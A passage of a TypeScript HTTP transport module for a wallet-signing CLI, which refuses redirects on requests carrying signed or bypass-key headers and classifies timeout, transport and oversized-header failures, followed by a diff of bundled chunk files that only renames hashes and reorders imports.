asked\n * for, and `fetch`'s default `redirect: 'follow'` re-sends request headers\n * verbatim to the new host (Node strips only `Authorization`). A 3xx anywhere on\n * the configured origin would therefore hand a signature BOUND TO THE REAL\n * DOMAIN to whoever `Location` points at, replayable against it for the\n * signature's lifetime.\n *\n * Detected by header NAME rather than by a caller-supplied \"this is signed\" flag\n * so the protection cannot be forgotten at a call site: attaching the credential\n * is what arms it. Matched case-insensitively. Kept as literals so the base\n * transport keeps its single dependency; `http.test.ts` pins them against the\n * real constants in `lib/siwx` and the x402 payment headers.\n *\n * All three wallet-signed families this CLI sends are here: the SIWX auth\n * header, the x402 payment header (`payment-signature` for x402 v2, plus\n * `x-payment`, the v1 spelling `@x402/core` can emit, as drift insurance even\n * though `read-client` pins v2), and `tenjin-session-delegation` — a REUSABLE\n * session-lifetime SIWX signature `session-key` attaches to every session-signed\n * write, which makes it the most replayable credential of the set. The RFC 9421\n * `Signature`/`Signature-Input` pair riding alongside it is deliberately absent:\n * it covers method, URL, and body digest, so it is not usefully replayable at\n * another host.\n */\nconst CREDENTIAL_HEADERS = new Set([\n 'sign-in-with-x',\n 'payment-signature',\n 'x-payment',\n 'tenjin-session-delegation',\n]);\n\nfunction carriesSignedMaterial(headers: Record<string, string>): boolean {\n return Object.keys(headers).some((name) => CREDENTIAL_HEADERS.has(name.toLowerCase()));\n}\n\nexport type FetchJsonResult = FetchJsonSuccess | FetchJsonFailure;\n\nexport async function fetchJson(url: string, opts: FetchJsonOptions): Promise<FetchJsonResult> {\n const doFetch = opts.fetchImpl ?? fetch;\n const controller = new AbortController();\n let timedOut = false;\n // The timer stays armed until the body is fully consumed (cleared in the outer\n // finally), so a server that sends headers then stalls the body still trips the\n // deadline instead of hanging forever on res.json().\n const timer = setTimeout(() => {\n timedOut = true;\n controller.abort();\n }, opts.timeoutMs);\n\n try {\n let res: Response;\n // `new Headers` throws on a malformed caller header, so building them stays\n // inside the catch that turns any pre-flight refusal into the same\n // discriminated network failure a dead socket gets.\n let pinned = false;\n try {\n const headers = withUserAgent(\n { ...opts.headers, ...shelfBypassHeaders(url, opts.bypass) },\n opts.callerUserAgent,\n );\n // fetchJson sends no signed material — doctor's probes and the contract\n // checks are anonymous — so the door key is the one thing here worth\n // pinning, and it pins the same way it does in httpRequest.\n pinned = carriesBypassKey(headers);\n res = await doFetch(url, {\n signal: controller.signal,\n headers: { ...headers, ...(await tenjinIdentityHeaders(url)) },\n ...(pinned ? { redirect: 'manual' as const } : {}),\n });\n } catch (err) {\n // A timeout is a network failure the AbortController induced; distinguish it\n // from an organic one so the caller can say \"timed out\" rather than a raw\n // AbortError message.\n return timedOut\n ? timeoutFailure(url, opts.timeoutMs)\n : { ok: false, kind: 'network', message: `Request to ${url} failed: ${errorMessage(err)}` };\n }\n\n const requestId = res.headers.get('x-request-id') ?? undefined;\n\n // Fail CLOSED, ahead of the ordinary non-2xx branch, so an unfollowed 3xx is\n // never reported as a plain HTTP status a caller might retry by hand.\n if (pinned && res.status >= 300 && res.status < 400) {\n return {\n ok: false,\n kind: 'blocked-redirect',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n // Where it pointed, not that it pointed: only a hop that leaves the host\n // asked for is evidence about the key. Same-host 3xx happens to a base\n // URL that needs fixing, with a perfectly good key.\n ...(redirectLeavesHost(url, res.headers.get('location'))\n ? { gateOffOrigin: true as const }\n : {}),\n message:\n `Request to ${url} was redirected (${res.status}) while carrying the team shelf's ` +\n 'bypass key; refusing to follow it, because the key opens only the configured origin.',\n };\n }\n\n if (!res.ok) {\n return {\n ok: false,\n kind: 'http',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n // 401/403 is one of the three shapes deployment protection answers with\n // (200 HTML and a 30x interstitial are the others), so the gate signals\n // ride here too. Other statuses stay unmarked: a 404 or 500 HTML page is\n // an ordinary broken deployment, not a credential problem.\n ...(res.status === 401 || res.status === 403 ? accessGateSignals(url, res) : {}),\n message: `Request to ${url} failed with status ${res.status}`,\n };\n }\n\n let json: unknown;\n try {\n json = await res.json();\n } catch (err) {\n // The body read can fail three ways. A timeout wins first: the abort fires\n // synchronously with `timedOut`, so any abort-induced rejection here is our\n // deadline. Otherwise a SyntaxError is a genuine parse failure (invalid\n // JSON); anything else is a transport failure mid-body (network).\n if (timedOut) return timeoutFailure(url, opts.timeoutMs);\n if (err instanceof SyntaxError) {\n return {\n ok: false,\n kind: 'invalid-json',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n ...accessGateSignals(url, res),\n message: `Response from ${url} was not valid JSON`,\n };\n }\n return {\n ok: false,\n kind: 'network',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n message: `Request to ${url} failed while reading the response body: ${errorMessage(err)}`,\n };\n }\n\n return {\n ok: true,\n status: res.status,\n json,\n ...(requestId !== undefined ? { requestId } : {}),\n };\n } finally {\n clearTimeout(timer);\n }\n}\n\nfunction timeoutFailure(url: string, timeoutMs: number): FetchJsonFailure {\n return {\n ok: false,\n kind: 'timeout',\n message: `Request to ${url} timed out after ${timeoutMs}ms`,\n };\n}\n\n/**\n * A full HTTP round trip that surfaces the STATUS, headers, and best-effort JSON\n * body for ANY status. Unlike fetchJson (2xx-only), the B2 read/pay flow needs\n * the body on a 402 (the leak-safe preview) and a 409 (the owned-re-pay gate),\n * and search/outcome need a 4xx validation envelope. A transport/timeout failure\n * still returns the discriminated FetchJsonFailure so callers map it uniformly.\n */\nexport interface HttpRequestOptions {\n method?: 'GET' | 'POST' | 'PUT' | 'DELETE';\n timeoutMs: number;\n headers?: Record<string, string>;\n /** The team shelf's bypass secret and its origin; see {@link ShelfBypass}. */\n bypass?: ShelfBypass;\n /** INTERNAL; see `FetchJsonOptions.callerUserAgent`. */\n callerUserAgent?: string;\n /** A JSON body (POST); serialized with a content-type header set automatically. */\n jsonBody?: unknown;\n /**\n * A body the CALLER already encoded, sent byte for byte with no content-type\n * of this transport's choosing: the router's provider leg is handed a request\n * the server built, and re-encoding it would make the bytes signed for and\n * the bytes sent two different things. The caller's own `headers` carry the\n * content type. Ignored when `jsonBody` is set.\n */\n rawBody?: string;\n fetchImpl?: typeof fetch;\n /**\n * A caller's own abort, combined with (never replacing) `timeoutMs`. The loop's\n * legs pass the fire's signal here so a harness that closed its socket stops the\n * request in flight; a caller with no such signal is unchanged.\n */\n signal?: AbortSignal;\n /**\n * Refuse redirects even when the request carries no signed header. For a\n * caller whose response becomes a durable local artifact (`fetchRead`: the\n * 200 is written to the library as an entitlement record under the\n * server-chosen id/slug), following a cross-origin redirect would let\n * another host's bytes be recorded as if the configured origin served them.\n * Off by default so search/outcome/publish/doctor keep normal transport.\n */\n blockRedirects?: boolean;\n /**\n * Keep a binary body as bytes. A sound, an image or any other non-text\n * payload decoded as text is corrupted, so with this set a response whose\n * content type is not text ({@link isBinaryContentType}) comes back with\n * `bytes` and an empty `text`. The router's provider leg sets it; every other\n * caller reads text as before.\n */\n binaryBody?: boolean;\n /** The cap on such a body; over it the response is a failure, never a\n * buffer that grows without bound. Defaults to {@link MAX_BINARY_BODY_BYTES}. */\n maxBinaryBytes?: number;\n /**\n * Send no install id, and mint none. For a request that checks the network\n * rather than uses Tenjin (the reachability probe), so it never counts as an\n * install in request telemetry.\n */\n anonymous?: boolean;\n}\n\n/** The same cap the router's linked-media download uses. */\nexport const MAX_BINARY_BODY_BYTES = 200 * 1024 * 1024;\n\n/**\n * The body's bytes, read chunk by chunk and abandoned the moment they pass\n * `max`; null over the cap. A declared length over it is refused unread.\n */\nasync function readCapped(res: Response, max: number): Promise<Uint8Array | null> {\n const declared = Number(res.headers.get('content-length') ?? '0');\n if (Number.isFinite(declared) && declared > max) {\n await res.body?.cancel().catch(() => undefined);\n return null;\n }\n if (res.body === null) return new Uint8Array();\n const reader = res.body.getReader();\n const chunks: Uint8Array[] = [];\n let size = 0;\n for (;;) {\n const { done, value } = await reader.read();\n if (done) break;\n size += value.byteLength;\n if (size > max) {\n await reader.cancel().catch(() => undefined);\n return null;\n }\n chunks.push(value);\n }\n return new Uint8Array(Buffer.concat(chunks));\n}\n\n/**\n * A content type whose body is not text: anything that is not `text/*` and\n * not a JSON, XML, JavaScript, YAML or form type. An absent header is text, as\n * it always was here.\n */\nexport function isBinaryContentType(contentType: string | undefined): boolean {\n const type = (contentType ?? '').split(';')[0]!.trim().toLowerCase();\n if (type.length === 0) return false;\n if (type.startsWith('text/')) return false;\n return !/(?:json|xml|javascript|ecmascript|yaml|x-www-form-urlencoded)/.test(type);\n}\n\nexport interface HttpResponse {\n ok: true;\n status: number;\n /** Case-insensitive header lookup over the response. */\n header(name: string): string | undefined;\n /** Parsed JSON body, or undefined when the body was empty or not JSON. */\n json: unknown;\n /** The raw body text; what a non-JSON endpoint actually said (`pay` delivers it). */\n text: string;\n /** The body's bytes, only for a binary body read with `binaryBody`; `text`\n * is then empty. */\n bytes?: Uint8Array;\n requestId?: string;\n}\n\nexport type HttpResult = HttpResponse | FetchJsonFailure;\n\n/** The wire form of one request: what to send, and whether it may follow a redirect. */\ninterface PreparedRequest {\n ok: true;\n headers: Record<string, string>;\n body: string | undefined;\n signed: boolean;\n bypassed: boolean;\n pinned: boolean;\n}\n\n/**\n * Assemble the request and DERIVE its redirect decision from the headers that\n * were actually built, in one place and one pass. The redirect flags are\n * returned rather than assigned, so they have no value until the headers do:\n * there is no state in which `pinned` is readable but not yet computed, which\n * is what would let a signed request follow a 3xx to another host. Anything\n * that refuses here (`new Headers` throws on a malformed caller header) becomes\n * the same discriminated failure a dead socket does, because this transport\n * documents a returned failure for every refusal, not an exception.\n */\nfunction prepareRequest(url: string, opts: HttpRequestOptions): PreparedRequest | FetchJsonFailure {\n try {\n let body: string | undefined;\n // The bypass rides in with the caller's headers rather than being set after\n // them, so a caller cannot spell it a second way and win the slot.\n const merged = new Headers({ ...opts.headers, ...shelfBypassHeaders(url, opts.bypass) });\n if (opts.jsonBody !== undefined) {\n body = JSON.stringify(opts.jsonBody);\n merged.set('content-type', 'application/json');\n } else if (opts.rawBody !== undefined) {\n body = opts.rawBody;\n }\n const wantsAccept = opts.method === 'POST' || opts.method === 'PUT' || body !== undefined;\n if (wantsAccept && !merged.has('accept')) merged.set('accept', 'application/json');\n // An `accept`/`content-type` set here wins the slot regardless of how a\n // caller cased its own copy.\n const headers = Object.fromEntries(applyUserAgent(merged, opts.callerUserAgent).entries());\n\n // Signed requests opt out of redirect following entirely; see CREDENTIAL_HEADERS.\n // So does a request carrying the team shelf's bypass key: it cannot be\n // replayed, but a 3xx would DISCLOSE it, and that is the whole harm (see\n // carriesBypassKey). A caller can also pin an unsigned, keyless request\n // (blockRedirects) when the response it gets back becomes a durable local record.\n const signed = carriesSignedMaterial(headers);\n const bypassed = carriesBypassKey(headers);\n return {\n ok: true,\n headers,\n body,\n signed,\n bypassed,\n pinned: signed || bypassed || opts.blockRedirects === true,\n };\n } catch (err) {\n return {\n ok: false,\n kind: 'network',\n message: `Request to ${url} failed: ${errorMessage(err)}`,\n };\n }\n}\n\nexport async function httpRequest(url: string, opts: HttpRequestOptions): Promise<HttpResult> {\n const doFetch = opts.fetchImpl ?? fetch;\n const controller = new AbortController();\n let timedOut = false;\n const timer = setTimeout(() => {\n timedOut = true;\n controller.abort();\n }, opts.timeoutMs);\n // The caller's abort is combined with the timeout rather than chosen between:\n // whichever fires first ends the request, and `timedOut` still says which.\n const signal =\n opts.signal === undefined\n ? controller.signal\n : AbortSignal.any([controller.signal, opts.signal]);\n\n try {\n const prepared = prepareRequest(url, opts);\n if (!prepared.ok) return prepared;\n const { headers, body, signed, bypassed, pinned } = prepared;\n\n let res: Response;\n try {\n res = await doFetch(url, {\n method: opts.method ?? 'GET',\n headers:\n opts.anonymous === true ? headers : { ...headers, ...(await tenjinIdentityHeaders(url)) },\n body,\n signal,\n ...(pinned ? { redirect: 'manual' as const } : {}),\n });\n } catch (err) {\n if (timedOut) return timeoutFailure(url, opts.timeoutMs);\n if (isHeaderOverflow(err)) return oversizedHeaderFailure(url);\n const transport = transportFailure(err);\n return {\n ok: false,\n kind: 'network',\n message: `Request to ${url} failed: ${errorMessage(err)}`,\n ...(transport !== undefined ? { transport } : {}),\n };\n }\n\n const requestId = res.headers.get('x-request-id') ?? undefined;\n\n // Fail CLOSED on a redirect the request was not allowed to follow. This\n // returns a failure rather than the 3xx response so no caller can mistake an\n // unfollowed redirect for a normal status and retry it by hand.\n if (pinned && res.status >= 300 && res.status < 400) {\n return {\n ok: false,\n kind: 'blocked-redirect',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n message: signed\n ? `Request to ${url} was redirected (${res.status}) while carrying a signed header; ` +\n 'refusing to follow it, because the signature is bound to the configured origin.'\n : bypassed\n ? `Request to ${url} was redirected (${res.status}) while carrying the team shelf's ` +\n 'bypass key; refusing to follow it, because the key opens only the configured origin.'\n : `Request to ${url} was redirected (${res.status}); ` +\n 'refusing to follow it, because the response must come from the configured origin.',\n };\n }\n // Read the raw text once; parse best-effort. A non-JSON body (empty 202, an\n // HTML error page) yields `undefined` rather than a thrown parse, because a\n // 402/409 caller keys off the STATUS and only some statuses carry JSON.\n let text: string;\n let bytes: Uint8Array | undefined;\n try {\n if (opts.binaryBody === true && isBinaryContentType(res.headers.get('content-type') ?? '')) {\n const read = await readCapped(res, opts.maxBinaryBytes ?? MAX_BINARY_BODY_BYTES);\n if (read === null) {\n return {\n ok: false,\n kind: 'network',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n message: `Request to ${url} returned a file over the ${Math.round((opts.maxBinaryBytes ?? MAX_BINARY_BODY_BYTES) / 1_048_576)} MB cap; it was not kept.`,\n };\n }\n bytes = read;\n text = '';\n } else {\n text = await res.text();\n }\n } catch (err) {\n if (timedOut) {\n return {\n ...timeoutFailure(url, opts.timeoutMs),\n header: (name) => res.headers.get(name) ?? undefined,\n };\n }\n return {\n ok: false,\n kind: 'network',\n status: res.status,\n ...(requestId !== undefined ? { requestId } : {}),\n message: `Request to ${url} failed while reading the response body: ${errorMessage(err)}`,\n };\n }\n let json: unknown;\n if (text.length > 0) {\n try {\n json = JSON.parse(text);\n } catch {\n json = undefined;\n }\n }\n return {\n ok: true,\n status: res.status,\n header: (name) => res.headers.get(name) ?? undefined,\n json,\n text,\n ...(bytes !== undefined ? { bytes } : {}),\n ...(requestId !== undefined ? { requestId } : {}),\n };\n } finally {\n clearTimeout(timer);\n }\n}\n\nexport interface FailureToCliErrorOptions {\n fix?: string;\n details?: unknown;\n}\n\n/**\n * Normalize a fetch failure into the CLI error contract: network/timeout are a\n * NETWORK_ERROR, an `http` status (server reachable but errored — commonly 5xx)\n * is API_UNREACHABLE, and a 2xx that failed to parse when JSON was required is a\n * CONTRACT_MISMATCH. Callers that need a check-specific code (doctor) build their\n * own CliError; this is the default B2's passthrough leans on.\n */\nexport function fetchFailureToCliError(\n failure: FetchJsonFailure,\n opts: FailureToCliErrorOptions = {},\n): CliError {\n const code =\n failure.kind === 'network' || failure.kind === 'timeout'\n ? 'NETWORK_ERROR'\n : failure.kind === 'invalid-json'\n ? 'CONTRACT_MISMATCH'\n : failure.kind === 'oversized-header'\n ? 'CHALLENGE_TOO_LARGE'\n : 'API_UNREACHABLE';\n // The one failure with a remedy nobody can apply from inside the process, so\n // it names the operator's knob rather than suggesting a retry.\n // The knob, with no claim about payment: a caller that knows its leg passes\n // its own `fix` and says what happened to the money there.\n const fix =\n opts.fix ??\n (failure.kind === 'oversized-header'\n ? 'Raising `--max-http-header-size` on the node process that runs this CLI would let the header be read; that is an operator decision, not a default this build changes.'\n : undefined);\n return new CliError(code, failure.message, {\n ...(fix !== undefined ? { fix } : {}),\n ...(opts.details !== undefined ? { details: opts.details } : {}),\n });\n}\n\nfunction errorMessage(err: unknown): string {\n return err instanceof Error ? err.message : String(err);\n}\n\n/**\n * Does this transport failure mean the response HEADERS were too big for this\n * process to read?\n *\n * Node caps them at 16 KiB unless `--max-http-header-size` says otherwise, and\n * an x402 challenge is a header: a seller that embeds its whole output schema\n * in one can exceed the cap on its own (AnyAPI's is 52 KB, measured\n * 2026-09-22). undici then aborts the request and the generic path reported\n * `fetch failed` with no status and nothing naming the cause, which reads as\n * \"the endpoint is down\" for a seller that is answering perfectly.\n *\n * The message is undici's, matched on its stable text and on the code it\n * attaches; the CAUSE is the one that carries either, so both are checked.\n */\nfunction isHeaderOverflow(err: unknown): boolean {\n const seen = [err, (err as { cause?: unknown } | null)?.cause];\n return seen.some((candidate) => {\n if (candidate === null || typeof candidate !== 'object') return false;\n const code = (candidate as { code?: unknown }).code;\n if (code === 'UND_ERR_HEADERS_OVERFLOW' || code === 'HPE_HEADER_OVERFLOW') return true;\n const message = (candidate as { message?: unknown }).message;\n return typeof message === 'string' && /headers overflow|header overflow/i.test(message);\n });\n}\n\nconst DNS_CODES = new Set(['ENOTFOUND', 'EAI_AGAIN', 'EAI_FAIL', 'EAI_NODATA', 'EAI_NONAME']);\nconst CONNECT_CODES = new Set([\n 'ECONNREFUSED',\n 'ECONNRESET',\n 'EHOSTUNREACH',\n 'ENETUNREACH',\n 'ETIMEDOUT',\n 'UND_ERR_CONNECT_TIMEOUT',\n 'UND_ERR_SOCKET',\n]);\nconst TLS_CODE = /^(?:ERR_TLS_|ERR_SSL_|CERT_|UNABLE_TO_|SELF_SIGNED_|DEPTH_ZERO_)/;\n/** undici's text when a proxy answers `CONNECT` with anything but 200. */\nconst PROXY_REFUSAL = /Proxy response \\((\\d{3})\\)/;\n\n/**\n * The layer a `fetch failed` came from, read down the `cause` chain. fetch\n * wraps the real error twice: a proxy refusing the tunnel is\n * `TypeError: fetch failed`, then `Request was cancelled.`, then undici's\n * `UND_ERR_ABORTED` with the proxy's status in its message (Node 24.18,\n * measured 2026-10-05). Undefined when no link names a layer.\n */\nexport function transportFailure(err: unknown): TransportFailure | undefined {\n let link: unknown = err;\n for (let depth = 0; depth < 5 && link !== null && typeof link === 'object'; depth += 1) {\n const { code, message, cause } = link as { code?: unknown; message?: unknown; cause?: unknown };\n const proxy = typeof message === 'string' ? PROXY_REFUSAL.exec(message) : null;\n if (proxy !== null) return { layer: 'proxy', proxyStatus: Number(proxy[1]) };\n if (typeof code === 'string') {\n if (DNS_CODES.has(code)) return { layer: 'dns', code };\n if (TLS_CODE.test(code)) return { layer: 'tls', code };\n if (CONNECT_CODES.has(code)) return { layer: 'connect', code };\n }\n link = cause;\n }\n return undefined;\n}\n\n/**\n * The named refusal for that case. NOT a `network` failure: nothing is wrong\n * with the connection, and a caller that retries gets the same 52 KB again.\n *\n * SAYS NOTHING ABOUT PAYMENT. This transport serves the unpaid probe and the\n * paid retry alike and cannot tell them apart, so a message asserting either\n * way is wrong on one of them: it read as \"nothing was sent\" on a leg where a\n * signed authorization had already left. The leg adds that sentence, because\n * the leg is what knows; see `runPay`.\n */\nfunction oversizedHeaderFailure(url: string): FetchJsonFailure {\n let origin = url;\n try {\n origin = new URL(url).origin;\n } catch {\n // Keep the raw string; this is a diagnostic, not a destination.\n }\n return {\n ok: false,\n kind: 'oversized-header',\n message:\n `${origin} answered with a response header block larger than this process will read. ` +\n 'An x402 challenge travels in a header, and a seller that embeds its whole output ' +\n 'schema in one can exceed the limit, so the response could not be read.',\n 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@@ -1,10 +1,10 @@
1
1
  import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
2
2
  import {
3
3
  FileClientChannelStorage
4
- } from "./chunk-YHKXNYTB.js";
4
+ } from "./chunk-5K5W4S66.js";
5
5
  import {
6
6
  payerDir
7
- } from "./chunk-PAYV4XUA.js";
7
+ } from "./chunk-4ZZO6ULA.js";
8
8
 
9
9
  // src/router/channel-credit.ts
10
10
  import { readdir } from "node:fs/promises";
@@ -26,4 +26,4 @@ async function channelCredit(dataDir, address) {
26
26
  export {
27
27
  channelCredit
28
28
  };
29
- //# sourceMappingURL=chunk-VFMQTSXG.js.map
29
+ //# sourceMappingURL=chunk-B7HUUJOK.js.map
@@ -1,4 +1,10 @@
1
1
  import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
2
+ import {
3
+ sha256
4
+ } from "./chunk-K3I7C2MO.js";
5
+ import {
6
+ secp256k1
7
+ } from "./chunk-JRGFKVAZ.js";
2
8
  import {
3
9
  AbiDecodingDataSizeTooSmallError,
4
10
  AbiDecodingZeroDataError,
@@ -151,12 +157,6 @@ import {
151
157
  validate2,
152
158
  withResolvers
153
159
  } from "./chunk-TTNESUPQ.js";
154
- import {
155
- sha256
156
- } from "./chunk-N35E6CM2.js";
157
- import {
158
- secp256k1
159
- } from "./chunk-JRGFKVAZ.js";
160
160
  import {
161
161
  keccak_256
162
162
  } from "./chunk-KG3D7FIF.js";
@@ -7608,4 +7608,4 @@ export {
7608
7608
  createPublicClient,
7609
7609
  http
7610
7610
  };
7611
- //# sourceMappingURL=chunk-EL56RW2J.js.map
7611
+ //# sourceMappingURL=chunk-BL3332HQ.js.map